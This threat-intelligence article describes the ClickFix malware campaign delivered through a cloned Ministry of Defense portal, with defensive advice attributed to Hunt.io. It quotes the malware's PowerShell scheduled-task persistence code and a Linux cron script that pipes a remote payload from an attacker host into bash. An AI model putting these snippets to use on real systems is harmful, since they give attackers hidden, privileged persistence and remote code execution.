ClickFix Infection Workflow: Windows and Linux Attack Vectors
The ClickFix malware campaign begins when victims are lured into clicking a download button disguised as a “required security certificate” or “document viewer plugin.” Though the file appears legitimate, it carries obfuscated code initiating a multi-stage infection.
Windows Variant
On Windows systems, the malware drops a PowerShell payload that establishes persistence by registering a scheduled task named WindowsSecurityManager:
powershell
$Action = New-ScheduledTaskAction -Execute “powershell.exe” -Argument “-WindowStyle Hidden -EncodedCommand $encodedPayload”
$Trigger = New-ScheduledTaskTrigger -AtStartup
$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -Hidden
Register-ScheduledTask -TaskName “WindowsSecurityManager” -Action $Action -Trigger $Trigger -Settings $Settings -RunLevel Highest
This task ensures the malware runs silently with elevated privileges every time the system starts.
Linux Variant
On Linux, the malware writes a disguised daily cron job script that downloads and executes a remote payload, masquerading as a legitimate security check:
bash
echo “#!/bin/bash
nohup curl -s http://defense-update.security[.]net/payload.sh | bash &” > /etc/cron.daily/system-security-check
chmod +x /etc/cron.daily/system-security-check
This tactic grants it persistence while blending in with routine security-related scripts.
Fake Ministry of Defense Portal Pushes Malware Disguised as Security Update (Source: Hunt.io)
A cloned Ministry of Defense webpage, active only in March 2025, has been discovered distributing malware through a deceptive prompt for a security certificate upgrade.
According to analysts at Hunt.io, the malicious site mimics official government communication channels, luring users into executing a staged infection. To counter this tactic, they advise organizations to:
- Scrutinize all interactions with government-branded portals using secondary validation layers.
- Bolster endpoint defenses with behavioral monitoring tools capable of spotting ClickFix’s unique infection sequences before any data leaves the network.
